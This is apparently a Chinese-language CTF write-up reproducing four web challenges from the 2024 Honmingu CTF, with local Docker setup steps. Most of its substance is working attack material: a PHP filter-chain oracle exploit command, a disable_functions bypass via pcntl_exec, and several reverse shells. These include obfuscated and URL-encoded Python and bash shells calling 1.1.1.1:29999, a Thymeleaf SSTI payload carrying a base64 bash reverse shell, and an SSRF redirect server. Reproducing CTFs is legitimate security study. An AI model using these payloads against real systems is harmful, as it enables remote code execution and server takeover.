红明谷CTF 2024 复现
红明谷CTF 2024 复现
Natro92打这个之前不知道没有二进制,组了个队三个人就我一个web手,就我能做,而且碰巧那天有事,就没搞。
源码:
链接: https://pan.baidu.com/s/1UyPxdLbXr6ZxwG0zhwP_KA 提取码: flag
From 公众号:大头Sec
ezphp
环境搭建
1 | docker run -itd -p 1238:80 php:8.3.2-apache # 这个会自动拉取 |
然后将相关文件拖到/var/www/html
下即可。
然后写一个flag
1 | echo "flag{test_flag" > /flag |
复现
1 |
|
做的时候犯蠢了,之前就遇到过这个侧信道,但是测试的时候有的时候行有的时候不行,后来才知道windows系统似乎不行,而且再加上时不时的抽风就没做.
这里的这个必须要把参数带上才能打,晕了。😵
侧信道:
1 | python .\filters_chain_oracle_exploit.py --target http://localhost:1238/ --parameter f --file flag.php --time_based_attack True --match "Allowed memory size" |
注意到:
需要传参ezphpPhp8
才能看到源码。
1 |
|
题目提示了8.3.2版本,直接去看的changelog
:
调用匿名类。
这是匿名类相关的知识点:
1 | $obj=new class{}; |
可以开个环境来get_class获取一下类名:
比如:
这里windows的结果似乎和linux不同。所以可以用linux再测一下:
payload:ezphpPhp8=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240
似乎环境会被打崩,所以要一次成。否则需要爆破列数(这是为什么)
unauth
环境搭建
和上题目类似
1 | docker run -itd -p 1238:80 php:8.3.2-apache # 这个会自动拉取 |
将源码拖入
这里需要改一下flag的权限。
1 | chmod 000 /flag |
不能直接读,而且要在php.ini中配置下这个。
1 | disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink |
1 | sed -i 's/^disable_functions =.*/disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,putenv,mail,chroot,chgrp,dl,readlink/' /usr/local/etc/php/php.ini |
然后重启服务或者container即可。
复现
扫之后发现www.zip中间有admin的密码:
1 | [2022-01-01 12:34:56] Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036 |
还存在config.inc.php
1 |
|
1 | <?php |
登录之后就有一句话木马,密码cmd。
但是ban了很多函数。
看了wp发现可以用highlight_file
读取php的php.ini
1 | # highlight_file("/usr/local/etc/php/php.ini"); |
这里还可以用pcntl_exec
这个函数命令执行。
然后反弹shell出来即可
这里我用的这个payload,但是不知道为什么会报错500,但是接到了shell。
1 | $sock=fsockopen("xxx",8888);`bash <&3 >&3 2>&3`; |
看了别人的payload用的这个:
1 | /?cmd=%70%63%6e%74%6c%5f%65%78%65%63%28%22%2f%75%73%72%2f%62%69%6e%2f%70%79%74%68%6f%6e%22%2c%61%72%72%61%79%28%27%2d%63%27%2c%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%73%6f%63%6b%65%74%2e%53%4f%4c%5f%54%43%50%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%2e%31%2e%31%2e%31%22%2c%32%39%39%39%39%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%62%61%73%68%22%2c%22%2d%69%22%5d%29%3b%27%29%29%3b |
用这个反倒接不到shell了😵。
1 | pcntl_exec("/bin/bash",array("-c","bash -i >& /dev/tcp/ip/port 0>&1"),array()); |
不知道为什么这个本地测试的时候也不行,离谱。
需要先su提权,然后之前那个config.inc.php
里就是admin密码,需要用python虚拟化一个终端出来:
1 | python -c '__import__("pty").spawn("/bin/bash")' |
playground
环境搭半天搭不起来。
1 |
|
方式一
/rust_code传入的date都会被编译根据大头的wp是编译报错包含读flag
1 | POST /rust_code HTTP/1.1 |
方法二
1 | extern "C"{ |
放入请求体即可:
Simp1escape
302跳转结合Thymeleaf SSTI
1 | <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'> |
服务器上跑Flask重定向到127.0.0.1:8080
1 | from flask import Flask, redirect, url_for, render_template, request |
然后curl接口ssrf
1 | /curl?url=http://xxx:5000/ |
监听反弹shell。即可:
还说可以用DNS重绑定绕过,但是我太菜了,后面再研究。
这是大头的payload:
1 | /curl?url=http%3A%2F%2Fxxx.ceye.io%3A8080%2Fgetsites%3Fhostname%3D%253c%2561%2520%2574%2568%253a%2568%2572%2565%2566%253d%2522%2524%257b%2527%2527%252e%2567%2565%2574%2543%256c%2561%2573%2573%2528%2529%252e%2566%256f%2572%254e%2561%256d%2565%2528%2527%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2552%2575%256e%2574%2569%256d%2565%2527%2529%252e%2567%2565%2574%2552%2575%256e%2574%2569%256d%2565%2528%2529%252e%2565%2578%2565%2563%2528%2527%2562%2561%2573%2568%2520%252d%2563%2520%257b%2565%2563%2568%256f%252c%2559%256d%2546%257a%2561%2543%2541%2574%2561%2553%2541%252b%254a%2569%2541%2576%255a%2547%2556%2532%254c%2533%2552%256a%2563%2543%2538%2578%254c%256a%2545%2575%254d%2553%2534%2578%254c%257a%2549%2535%254f%2554%256b%2535%2549%2544%2541%252b%254a%256a%2545%253d%257d%257c%257b%2562%2561%2573%2565%2536%2534%252c%252d%2564%257d%257c%257b%2562%2561%2573%2568%252c%252d%2569%257d%2527%2529%257d%2522%2520%2574%2568%253a%2574%2569%2574%256c%2565%253d%2527%2570%2565%2570%2569%2574%256f%2527%253e |
总结
到实验室已经就剩一小时了,再加上环境的逆天问题,但更主要是我菜死了。后面还得把thymyleaf啥的研究了,这java真学不懂一点。